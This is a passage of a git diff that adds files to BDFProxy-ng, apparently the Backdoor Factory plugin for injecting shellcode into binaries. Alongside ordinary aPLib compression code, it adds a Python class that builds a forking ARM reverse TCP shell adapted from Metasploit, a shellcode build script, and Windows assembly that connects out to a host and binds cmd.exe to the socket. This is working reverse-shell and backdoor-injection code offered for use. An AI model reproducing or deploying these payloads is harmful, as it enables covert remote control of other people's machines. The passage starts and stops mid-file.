eax, [rdi + 16] ; rax = header.orig_size + + je .return_rax + + .return_error: + or rax, -1 ; rax = -1 + + .return_rax: + add rsp, 32 + pop rdi + + ret + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/sdepack.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/sdepack.asm new file mode 100644 index 0000000..daf5b1f --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/sdepack.asm @@ -0,0 +1,111 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm 64-bit safe assembler wrapper for aP_depack_asm_safe +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +format MS64 COFF + +public aPsafe_depack + +extrn aP_depack_asm_safe +extrn aP_crc32 + +; ============================================================= + +section '.text' code readable executable + +aPsafe_depack: + ; aPsafe_depack(const void *source, + ; size_t srclen, + ; void *destination + ; size_t dstlen) + + mov [rsp + 8], rcx + mov [rsp + 16], rdx + mov [rsp + 24], r8 + mov [rsp + 32], r9 + push rdi + sub rsp, 32 + + mov rdi, rcx ; rdi -> source + + test rcx, rcx + jz .return_error + + test r8, r8 + jz .return_error + + cmp rdx, 24 ; check srclen >= 24 + jb .return_error ; + + mov eax, [rdi] ; eax = header.tag + + cmp eax, 032335041h ; check tag == 'AP32' + jne .return_error + + mov eax, [rdi + 4] ; rax = header.header_size + cmp eax, 24 ; check header_size >= 24 + jb .return_error + + sub rdx, rax ; rdx = srclen without header + jc .return_error ; + + cmp [rdi + 8], edx ; check header.packed_size is + ja .return_error ; within remaining srclen + + add rcx, rax ; rcx -> packed data + + mov edx, [rdi + 8] ; rdx = header.packed_size + + call aP_crc32 + + cmp eax, [rdi + 12] ; check eax == header.packed_crc + jne .return_error + + mov r9, [rsp + 72] ; r9 = dstlen + + mov edx, [rdi + 16] ; rdx = header.orig_size + cmp rdx, r9 ; check header.orig_size is ok + ja .return_error + + mov eax, [rdi + 4] ; rax = header.header_size + + mov rcx, [rsp + 48] ; rcx -> source + mov edx, [rdi + 8] ; rdx = header.packed_size + mov r8, [rsp + 64] ; r8 -> destination + + add rcx, rax ; rcx -> compressed data + + call aP_depack_asm_safe + + mov edx, [rdi + 16] ; rdx = header.orig_size + + cmp rax, rdx ; check rax == header.orig_size + jne .return_error + + mov rcx, [rsp + 64] ; rcx -> destination + + call aP_crc32 + + cmp eax, [rdi + 20] ; check eax = header.orig_crc + + mov eax, [rdi + 16] ; rax = header.orig_size + + je .return_rax + + .return_error: + or rax, -1 ; rax = -1 + + .return_rax: + add rsp, 32 + pop rdi + + ret + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/sgetsize.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/sgetsize.asm new file mode 100644 index 0000000..100a42c --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/sgetsize.asm @@ -0,0 +1,39 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm 64-bit safe assembler header access +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +format MS64 COFF + +public aPsafe_get_orig_size + +; ============================================================= + +section '.text' code readable executable + +aPsafe_get_orig_size: + ; aPsafe_get_orig_size(const void *source) + + mov edx, [rcx] ; edx = header.tag + + or rax, -1 ; rax = -1 + + cmp edx, 032335041h ; check tag == 'AP32' + jne .return_rax + + mov edx, [rcx + 4] ; edx = header.header_size + cmp edx, 24 ; check header_size >= 24 + jb .return_rax + + mov eax, [rcx + 16] ; rax = header.orig_size + + .return_rax: + ret + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/spack.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/spack.asm new file mode 100644 index 0000000..9e794b4 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/spack.asm @@ -0,0 +1,108 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm 64-bit safe assembler wrapper for aP_pack +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +; header format: +; +; offs size data +; -------------------------------------- +; 0 dword tag ('AP32') +; 4 dword header_size (24 bytes) +; 8 dword packed_size +; 12 dword packed_crc +; 16 dword orig_size +; 20 dword orig_crc + +format MS64 COFF + +public aPsafe_pack + +extrn aP_pack +extrn aP_crc32 + +; ============================================================= + +section '.text' code readable executable + +aPsafe_pack: + ; aPsafe_pack(const void *source, + ; void *destination, + ; unsigned int length, + ; void *workmem, + ; int (*callback)(unsigned int, unsigned int, void *), + ; void *cbparam) + + mov [rsp + 8], rcx + mov [rsp + 16], rdx + mov [rsp + 24], r8 + mov [rsp + 32], r9 + push rdi + sub rsp, 48 + + mov rdi, rdx ; rdi -> destination + + or rax, -1 ; rax = -1 + + test rcx, rcx ; check parameters + jz .return_rax ; + test rdx, rdx ; + jz .return_rax ; + test r8, r8 ; + jz .return_rax ; + + mov edx, 032335041h + mov [rdi], edx ; set header.tag + + mov edx, 24 + mov [rdi + 4], edx ; set header.header_size + + mov rdx, r8 + mov [rdi + 16], edx ; set header.orig_size + + call aP_crc32 + + mov [rdi + 20], eax ; set header.orig_crc + + mov r10, [rsp + 96] ; r10 -> callback + mov r11, [rsp + 104] ; r11 = cbparam + + mov rcx, [rsp + 64] + mov rdx, [rsp + 72] + mov r8, [rsp + 80] + mov r9, [rsp + 88] + mov [rsp + 32], r10 + mov [rsp + 40], r11 + add rdx, 24 ; rdx -> after header + + call aP_pack + + cmp eax, -1 + je .return_rax + + mov [rdi + 8], eax ; set header.packed_size + + mov rcx, [rsp + 72] ; rcx -> destination + mov rdx, rax ; rdx = packed size + add rcx, 24 ; rcx -> after header + + call aP_crc32 + + mov [rdi + 12], eax ; set header.packed_crc + + mov eax, [rdi + 8] ; eax = header.packed_size + add rax, 24 ; rax = final size + + .return_rax: + add rsp, 48 + pop rdi + + ret + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/depack.c b/Plugins/BDFProxy-ng/bdf/aPLib/src/depack.c new file mode 100644 index 0000000..a379b05 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/depack.c @@ -0,0 +1,166 @@ +/* + * aPLib compression library - the smaller the better :) + * + * C depacker + * + * Copyright (c) 1998-2014 Joergen Ibsen + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + */ + +#include "depack.h" + +/* internal data structure */ +struct APDSTATE { + const unsigned char *source; + unsigned char *destination; + unsigned int tag; + unsigned int bitcount; +}; + +static unsigned int aP_getbit(struct APDSTATE *ud) +{ + unsigned int bit; + + /* check if tag is empty */ + if (!ud->bitcount--) { + /* load next tag */ + ud->tag = *ud->source++; + ud->bitcount = 7; + } + + /* shift bit out of tag */ + bit = (ud->tag >> 7) & 0x01; + ud->tag <<= 1; + + return bit; +} + +static unsigned int aP_getgamma(struct APDSTATE *ud) +{ + unsigned int result = 1; + + /* input gamma2-encoded bits */ + do { + result = (result << 1) + aP_getbit(ud); + } while (aP_getbit(ud)); + + return result; +} + +unsigned int aP_depack(const void *source, void *destination) +{ + struct APDSTATE ud; + unsigned int offs, len, R0, LWM; + int done; + int i; + + ud.source = (const unsigned char *) source; + ud.destination = (unsigned char *) destination; + ud.bitcount = 0; + + R0 = (unsigned int) -1; + LWM = 0; + done = 0; + + /* first byte verbatim */ + *ud.destination++ = *ud.source++; + + /* main decompression loop */ + while (!done) { + if (aP_getbit(&ud)) { + if (aP_getbit(&ud)) { + if (aP_getbit(&ud)) { + offs = 0; + + for (i = 4; i; i--) { + offs = (offs << 1) + aP_getbit(&ud); + } + + if (offs) { + *ud.destination = *(ud.destination - offs); + ud.destination++; + } + else { + *ud.destination++ = 0x00; + } + + LWM = 0; + } + else { + offs = *ud.source++; + + len = 2 + (offs & 0x0001); + + offs >>= 1; + + if (offs) { + for (; len; len--) { + *ud.destination = *(ud.destination - offs); + ud.destination++; + } + } + else { + done = 1; + } + + R0 = offs; + LWM = 1; + } + } + else { + offs = aP_getgamma(&ud); + + if ((LWM == 0) && (offs == 2)) { + offs = R0; + + len = aP_getgamma(&ud); + + for (; len; len--) { + *ud.destination = *(ud.destination - offs); + ud.destination++; + } + } + else { + if (LWM == 0) { + offs -= 3; + } + else { + offs -= 2; + } + + offs <<= 8; + offs += *ud.source++; + + len = aP_getgamma(&ud); + + if (offs >= 32000) { + len++; + } + if (offs >= 1280) { + len++; + } + if (offs < 128) { + len += 2; + } + + for (; len; len--) { + *ud.destination = *(ud.destination - offs); + ud.destination++; + } + + R0 = offs; + } + + LWM = 1; + } + } + else { + *ud.destination++ = *ud.source++; + LWM = 0; + } + } + + return (unsigned int) (ud.destination - (unsigned char *) destination); +} diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/depack.h b/Plugins/BDFProxy-ng/bdf/aPLib/src/depack.h new file mode 100644 index 0000000..7818ae5 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/depack.h @@ -0,0 +1,30 @@ +/* + * aPLib compression library - the smaller the better :) + * + * C depacker, header file + * + * Copyright (c) 1998-2014 Joergen Ibsen + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + */ + +#ifndef DEPACK_H_INCLUDED +#define DEPACK_H_INCLUDED + +#ifdef __cplusplus +extern "C" { +#endif + +#ifndef APLIB_ERROR +# define APLIB_ERROR ((unsigned int) (-1)) +#endif + +/* function prototype */ +unsigned int aP_depack(const void *source, void *destination); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif /* DEPACK_H_INCLUDED */ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/depacks.c b/Plugins/BDFProxy-ng/bdf/aPLib/src/depacks.c new file mode 100644 index 0000000..bd064c5 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/depacks.c @@ -0,0 +1,279 @@ +/* + * aPLib compression library - the smaller the better :) + * + * C safe depacker + * + * Copyright (c) 1998-2014 Joergen Ibsen + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + */ + +#include "depacks.h" + +/* internal data structure */ +struct APDSSTATE { + const unsigned char *source; + unsigned int srclen; + unsigned char *destination; + unsigned int dstlen; + unsigned int tag; + unsigned int bitcount; +}; + +static int aP_getbit_safe(struct APDSSTATE *ud, unsigned int *result) +{ + unsigned int bit; + + /* check if tag is empty */ + if (!ud->bitcount--) { + if (!ud->srclen--) { + return 0; + } + + /* load next tag */ + ud->tag = *ud->source++; + ud->bitcount = 7; + } + + /* shift bit out of tag */ + bit = (ud->tag >> 7) & 0x01; + ud->tag <<= 1; + + *result = bit; + + return 1; +} + +static int aP_getgamma_safe(struct APDSSTATE *ud, unsigned int *result) +{ + unsigned int bit; + unsigned int v = 1; + + /* input gamma2-encoded bits */ + do { + if (!aP_getbit_safe(ud, &bit)) { + return 0; + } + + if (v & 0x80000000) { + return 0; + } + + v = (v << 1) + bit; + + if (!aP_getbit_safe(ud, &bit)) { + return 0; + } + } while (bit); + + *result = v; + + return 1; +} + +unsigned int aP_depack_safe(const void *source, + unsigned int srclen, + void *destination, + unsigned int dstlen) +{ + struct APDSSTATE ud; + unsigned int offs, len, R0, LWM, bit; + int done; + int i; + + if (!source || !destination) { + return APLIB_ERROR; + } + + ud.source = (const unsigned char *) source; + ud.srclen = srclen; + ud.destination = (unsigned char *) destination; + ud.dstlen = dstlen; + ud.bitcount = 0; + + R0 = (unsigned int) -1; + LWM = 0; + done = 0; + + /* first byte verbatim */ + if (!ud.srclen-- || !ud.dstlen--) { + return APLIB_ERROR; + } + *ud.destination++ = *ud.source++; + + /* main decompression loop */ + while (!done) { + if (!aP_getbit_safe(&ud, &bit)) { + return APLIB_ERROR; + } + + if (bit) { + if (!aP_getbit_safe(&ud, &bit)) { + return APLIB_ERROR; + } + + if (bit) { + if (!aP_getbit_safe(&ud, &bit)) { + return APLIB_ERROR; + } + + if (bit) { + offs = 0; + + for (i = 4; i; i--) { + if (!aP_getbit_safe(&ud, &bit)) { + return APLIB_ERROR; + } + offs = (offs << 1) + bit; + } + + if (offs) { + if (offs > (dstlen - ud.dstlen)) { + return APLIB_ERROR; + } + + if (!ud.dstlen--) { + return APLIB_ERROR; + } + + *ud.destination = *(ud.destination - offs); + ud.destination++; + } + else { + if (!ud.dstlen--) { + return APLIB_ERROR; + } + + *ud.destination++ = 0x00; + } + + LWM = 0; + } + else { + if (!ud.srclen--) { + return APLIB_ERROR; + } + + offs = *ud.source++; + + len = 2 + (offs & 0x0001); + + offs >>= 1; + + if (offs) { + if (offs > (dstlen - ud.dstlen)) { + return APLIB_ERROR; + } + + if (len > ud.dstlen) { + return APLIB_ERROR; + } + + ud.dstlen -= len; + + for (; len; len--) { + *ud.destination = *(ud.destination - offs); + ud.destination++; + } + } + else { + done = 1; + } + + R0 = offs; + LWM = 1; + } + } + else { + if (!aP_getgamma_safe(&ud, &offs)) { + return APLIB_ERROR; + } + + if ((LWM == 0) && (offs == 2)) { + offs = R0; + + if (!aP_getgamma_safe(&ud, &len)) { + return APLIB_ERROR; + } + + if (offs > (dstlen - ud.dstlen)) { + return APLIB_ERROR; + } + + if (len > ud.dstlen) { + return APLIB_ERROR; + } + + ud.dstlen -= len; + + for (; len; len--) { + *ud.destination = *(ud.destination - offs); + ud.destination++; + } + } + else { + if (LWM == 0) { + offs -= 3; + } + else { + offs -= 2; + } + + if (offs > 0x00fffffe) { + return APLIB_ERROR; + } + + if (!ud.srclen--) { + return APLIB_ERROR; + } + + offs <<= 8; + offs += *ud.source++; + + if (!aP_getgamma_safe(&ud, &len)) { + return APLIB_ERROR; + } + + if (offs >= 32000) { + len++; + } + if (offs >= 1280) { + len++; + } + if (offs < 128) { + len += 2; + } + + if (offs > (dstlen - ud.dstlen)) { + return APLIB_ERROR; + } + + if (len > ud.dstlen) { + return APLIB_ERROR; + } + + ud.dstlen -= len; + + for (; len; len--) { + *ud.destination = *(ud.destination - offs); + ud.destination++; + } + + R0 = offs; + } + + LWM = 1; + } + } + else { + if (!ud.srclen-- || !ud.dstlen--) { + return APLIB_ERROR; + } + *ud.destination++ = *ud.source++; + LWM = 0; + } + } + + return (unsigned int) (ud.destination - (unsigned char *) destination); +} diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/depacks.h b/Plugins/BDFProxy-ng/bdf/aPLib/src/depacks.h new file mode 100644 index 0000000..51f0e42 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/depacks.h @@ -0,0 +1,33 @@ +/* + * aPLib compression library - the smaller the better :) + * + * C safe depacker, header file + * + * Copyright (c) 1998-2014 Joergen Ibsen + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + */ + +#ifndef DEPACKS_H_INCLUDED +#define DEPACKS_H_INCLUDED + +#ifdef __cplusplus +extern "C" { +#endif + +#ifndef APLIB_ERROR +# define APLIB_ERROR ((unsigned int) (-1)) +#endif + +/* function prototype */ +unsigned int aP_depack_safe(const void *source, + unsigned int srclen, + void *destination, + unsigned int dstlen); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif /* DEPACKS_H_INCLUDED */ diff --git a/Plugins/BDFProxy-ng/bdf/arm/LinuxARMLELF32.py b/Plugins/BDFProxy-ng/bdf/arm/LinuxARMLELF32.py new file mode 100644 index 0000000..960fc46 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/arm/LinuxARMLELF32.py @@ -0,0 +1,189 @@ +''' + +Copyright (c) 2013-2014, Joshua Pitts +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + 1. Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + + 3. Neither the name of the copyright holder nor the names of its contributors + may be used to endorse or promote products derived from this software without + specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + +''' + +import struct +import sys + + +class linux_elfarmle32_shellcode(): + """ + Linux ELFIntel xarm shellcode class + """ + + def __init__(self, HOST, PORT, e_entry, SUPPLIED_SHELLCODE=None, shellcode_vaddr=0x0): + #could take this out HOST/PORT and put into each shellcode function + self.HOST = HOST + self.PORT = PORT + self.e_entry = e_entry + self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE + self.shellcode = "" + self.shellcode_vaddr = shellcode_vaddr + + def pack_ip_addresses(self): + hostocts = [] + if self.HOST is None: + print "This shellcode requires a HOST parameter -H" + sys.exit(1) + for i, octet in enumerate(self.HOST.split('.')): + hostocts.append(int(octet)) + self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1], + hostocts[2], hostocts[3]) + return self.hostip + + def returnshellcode(self): + return self.shellcode + + def reverse_shell_tcp(self, CavesPicked={}): + """ + Modified from metasploit payload/linux/armle/shell_reverse_tcp + to correctly fork the shellcode payload and contiue normal execution. + """ + if self.PORT is None: + print ("Must provide port") + sys.exit(1) + #FORKING + self.shellcode1 = "\x00\x40\xa0\xe1" # mov r4, r0 + self.shellcode1 += "\x00\x00\x40\xe0" # sub r0, r0, r0 + self.shellcode1 += "\x02\x70\xa0\xe3" # mov r7, #2 + self.shellcode1 += "\x00\x00\x00\xef" # scv 0 + self.shellcode1 += "\x00\x00\x50\xe3" # cmp r0, # + self.shellcode1 += "\x04\x00\xa0\xe1" # mov r0, r4 + self.shellcode1 += "\x04\x40\x44\xe0" # sub r4, r4, r4 + self.shellcode1 += "\x00\x70\xa0\xe3" # mov r7, #0 + self.shellcode1 += "\x00\x00\x00\x0a" # beq to shellcode + # JMP Address = (entrypoint - currentaddress -8)/4 + jmpAddr = 0xffffff + (self.e_entry -(self.shellcode_vaddr +len(self.shellcode1)) - 4)/4 + self.shellcode1 += (struct.pack("python build.py stager_reverse_tcp_nx +# +# Example, to build everything: +# >python build.py all > build_output.txt +# +# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +#=============================================================================# +import os, sys, time +from subprocess import Popen +from struct import pack +#=============================================================================# +def clean( dir="./bin/" ): + for root, dirs, files in os.walk( dir ): + for name in files: + os.remove( os.path.join( root, name ) ) +#=============================================================================# +def locate( src_file, dir="./src/" ): + for root, dirs, files in os.walk( dir ): + for name in files: + if src_file == name: + return root + return None + +#=============================================================================# +def build( name ): + location = locate( "%s.asm" % name ) + if location: + input = os.path.normpath( os.path.join( location, name ) ) + output = os.path.normpath( os.path.join( "./bin/", name ) ) + p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] ) + p.wait() + xmit( name ) + else: + print "[-] Unable to locate '%s.asm' in the src directory" % name + +#=============================================================================# +def xmit_dump_ruby( data, length=16 ): + dump = "" + for i in xrange( 0, len( data ), length ): + bytes = data[ i : i+length ] + hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) ) + if i+length <= len(data): + hex += " +" + dump += "%s\n" % ( hex ) + print dump + +#=============================================================================# +def xmit_offset( data, name, value, match_offset=0 ): + offset = data.find( value ); + if offset != -1: + print "# %s Offset: %d" % ( name, offset + match_offset ) + +#=============================================================================# +def xmit( name, dump_ruby=True ): + bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) ) + f = open( bin, 'rb') + data = f.read() + print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) ) + xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444 + xmit_offset( data, "LEPort", pack( "L", 0x7F000001 ) ) # 127.0.0.1 + xmit_offset( data, "IPv6Host", pack( "H", 0x1122 ) ) # Egg tag size + xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key + xmit_offset( data, "XORKey", "XORK") # XOR key + if( name.find( "egghunter" ) >= 0 ): + null_count = data.count( "\x00" ) + if( null_count > 0 ): + print "# Note: %d NULL bytes found." % ( null_count ) + if dump_ruby: + xmit_dump_ruby( data ) + +#=============================================================================# +def main( argv=None ): + if not argv: + argv = sys.argv + try: + if len( argv ) == 1: + print "Usage: build.py [clean|all|]" + else: + print "# Built on %s\n" % ( time.asctime( time.localtime() ) ) + if argv[1] == "clean": + clean() + elif argv[1] == "all": + for root, dirs, files in os.walk( "./src/egghunter/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/migrate/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/single/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/stage/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/stager/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/kernel/" ): + for name in files: + build( name[:-4] ) + else: + build( argv[1] ) + except Exception, e: + print "[-] ", e +#=============================================================================# +if __name__ == "__main__": + main() +#=============================================================================# diff --git a/Plugins/BDFProxy-ng/bdf/asm/src/loadliba_reverse_tcp.asm b/Plugins/BDFProxy-ng/bdf/asm/src/loadliba_reverse_tcp.asm new file mode 100644 index 0000000..859de8c --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/asm/src/loadliba_reverse_tcp.asm @@ -0,0 +1,115 @@ +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (24 July 2009) +; Updated by: Joshua Pitts (May 30 2014) for loadliba shellcode +;-----------------------------------------------------------------------------; +[BITS 32] + + +; ebx location of LoadLibraryA +; ecx location of GetProcAddress + + +reverse_tcp: + push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack. + push 0x5F327377 ; ... + push esp ; Push a pointer to the "ws2_32" string on the stack. + xchg esi,ecx ; mov getprocaddress to esi loadlibA smashing ecx + call dword [ebx] + + push 0x00007075 ; Push the bytes 'WSAStartup' onto the stack + push 0x74726174 ; ... + push 0x53415357 ; ... + push ESP ; Push a pointer to the 'WSAStartup' string on the stack + push EAX ; handle to ws2_32 + xchg edi,EAX ; move ws2_32 handle to edi for future use + call dword [esi] ; GetProcAddress(ws2_32, WSAStartup) + xchg ebp, EAX ; mov wsastartup addr to ebp + + mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) + sub esp, eax ; alloc some space for the WSAData structure + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + call ebp ; WSAStartup( 0x0190, &WSAData ); + ;eax should be zero on great success + + ;Need to get WSASocketA address + push 0x00004174 ; Push WSASocketA + push 0x656b636f ; ... + push 0x53415357 ; ... + push ESP ; Push a pointer to WSASocketA + push EDI ; Push the handle for ws2_32 + call dword [esi] ; GetProcAddress(ws2_32, WSASocketA) + + xchg ebp, eax ; Move WSASocketA address to EBP + xor eax, eax ; zero out eax + push eax ; Push zero for the flags param. + push eax ; push null for reserved parameter + push eax ; we do not specify a WSAPROTOCOL_INFO structure + push eax ; we do not specify a protocol + inc eax ; + push eax ; push SOCK_STREAM + inc eax ; + push eax ; push AF_INET + ;push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) + call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + xchg ebp, eax ; save the socket for later, don't care about the value of eax after this + +;Good to here +; Need 'connect' address +; Calling getproc address smashes the following regs: EAX, ECX, EDX, ESP + push 0x00746365 ; Push 'connect' + push 0x6e6e6f63 ; ... + push esp ; Push pointer to 'connect' + push edi ; Push handle for ws2_32 + call dword [esi] ; GetProcAddress(ws2_32, connect) + xchg ecx, ebp ; Put socket in ecx + xchg ebp, eax ; put address for connect in ebp + +set_address: + push byte 0x05 ; retry counter + push 0x0100007F ; host 127.0.0.1 + push 0x5C110002 ; family AF_INET and port 4444 + mov edx, esp ; save pointer to sockaddr struct + +try_connect: + push byte 16 ; length of the sockaddr struct + push edx ; pointer to the sockaddr struct + push ecx ; the socket + ;push 0x6174A599 ; hash( "ws2_32.dll", "connect" ) + xchg edi, ecx ; move socket to edi + call ebp ; connect( s, &sockaddr, 16 ); + + test eax,eax ; non-zero means a failure + + jz short connected + +;handle_failure: +; dec dword [edx+8] +; jnz short try_connect + +failure: +; LoadLibA is in EBX and GetprocessAddress is in ESI +; socket is in EDI MUST BE GOING OUT +; No need to exit. +;kernel32.dll!ExitProcess + ;push 0x0 + ;push 0x32336c65 ; Push kernel32 on the stack + ;push 0x6e72656b ; ... + ;push esp ; Push a pointer to the "kernel32" string on the ;stack. + ;call dword [ebx] ; handle for kernel32 now in eax + ;xchg eax, ebx ; handle now in ebx +; + ; + ;push 0x00737365 ; ExitProcess + ;push 0x636f7250 ; ... + ;push 0x74697845 ; ... + ;push esp ; Push pointer to ExitThread on stack + ;push ebx ; Push kernel32 handle on stack + ;call dword [esi] ; getprocaddr(Kernel32.dll, ExitThread) +; + ;push 0 + ;call eax + +connected: diff --git a/Plugins/BDFProxy-ng/bdf/asm/src/loadliba_shell.asm b/Plugins/BDFProxy-ng/bdf/asm/src/loadliba_shell.asm new file mode 100644 index 0000000..f9c9060 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/asm/src/loadliba_shell.asm @@ -0,0 +1,124 @@ +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (24 July 2009) +; Updated by Joshua Pitts (5/30/2014) for loadliba shellcode dev +;-----------------------------------------------------------------------------; +[BITS 32] + +; Output: None. +; Clobbers: EAX, EBX, ECX, ESI, ESP will also be modified +; Calling getprocaddress and loadlibraryA smashes the following regs: EAX, ECX, EDX, ESP +; Coming in LoadLibA is in EBX and GetprocessAddress is in ESI +; socket is in EDI coming in + +;Do a loadlibA of kernel32 +;then getprocessaddress of 'CreateProcessA' + push 0x0 + push 0x32336c65 ; Push kernel32 on the stack + push 0x6e72656b ; ... + push esp ; Push a pointer to the "kernel32" string on the stack. + call dword [ebx] ; handle for kernel32 now in eax + + push 0x00004173 ; Push CreateProcessA on the stack + push 0x7365636f ; ... + push 0x72506574 ; ... + push 0x61657243 ; ... + push esp ; Push a pointer to CreateProcessA string on the stack + push eax ; Push handle for kernel32 on the stack + call dword [esi] ; Call getprocessaddress | CreateProcessA address in EAX + + xchg ebp, eax ; Put createprocessa in ebp + +; loadlibA EBX, GetprocAddr ESI, CreateProcessA in EBP, socket handle in EDI +; SHELLGAME TIME!!! +; in this block the following are clobbered ebx, +; Not clobbered ebp, eax, esi + + xchg eax, ebx ; xchg loadlibA to eax + +shell: + push 0x00646D63 ; push our command line: 'cmd',0 + mov ebx, esp ; save a pointer to the command line + push edi ; our socket becomes the shells hStdError + push edi ; our socket becomes the shells hStdOutput + push edi ; our socket becomes the shells hStdInput + +; loadLibA EAX, getprocaddr esi, createprocessA ebp +; This block clobbered: ecx, esi +; Not clobbered, edx ebp, ebx, edi, + + xchg edi, esi ; xchg (move) getprocaddr to edi + xchg edx, eax ; xchg (move) loadlibA to edx + xor esi, esi ; Clear ESI for all the NULL's we need to push + push byte 18 ; We want to place (18 * 4) = 72 null bytes onto the stack + pop ecx ; Set ECX for the loop + +; loadLibA edx, getprocaddr edi, createprocessA ebp +; in this block the following are clobbered esi, eax, ecx, esp (loop) +;unclobbered edx, ebp, edi, ebx + +push_loop: ; + push esi ; push a null dword + loop push_loop ; keep looping untill we have pushed enough nulls + mov word [esp + 60], 0x0101 ; Set the STARTUPINFO Structure's dwFlags to STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW + lea eax, [esp + 16] ; Set EAX as a pointer to our STARTUPINFO Structure + mov byte [eax], 68 ; Set the size of the STARTUPINFO Structure + +; loadLibA edx, getprocaddr edi, createprocessA ebp +; in this block the following are clobbered esi, eax, esp (loop), ebx +; unclobbered edx, ebp, edi, ecx +; Calling getprocaddress and loadlibraryA smashes the following regs: EAX, ECX, EDX, ESP +; perform the call to CreateProcessA + push esp ; Push the pointer to the PROCESS_INFORMATION Structure + push eax ; Push the pointer to the STARTUPINFO Structure + push esi ; The lpCurrentDirectory is NULL so the new process will have the same current directory as its parent + push esi ; The lpEnvironment is NULL so the new process will have the same enviroment as its parent + push esi ; We dont specify any dwCreationFlags + inc esi ; Increment ESI to be one + push esi ; Set bInheritHandles to TRUE in order to inheritable all possible handle from the parent + dec esi ; Decrement ESI back down to zero + push esi ; Set lpThreadAttributes to NULL + push esi ; Set lpProcessAttributes to NULL + push ebx ; Set the lpCommandLine to point to "cmd",0 + push esi ; Set lpApplicationName to NULL as we are using the command line param instead + xchg ebx, edx ; xchg (move) 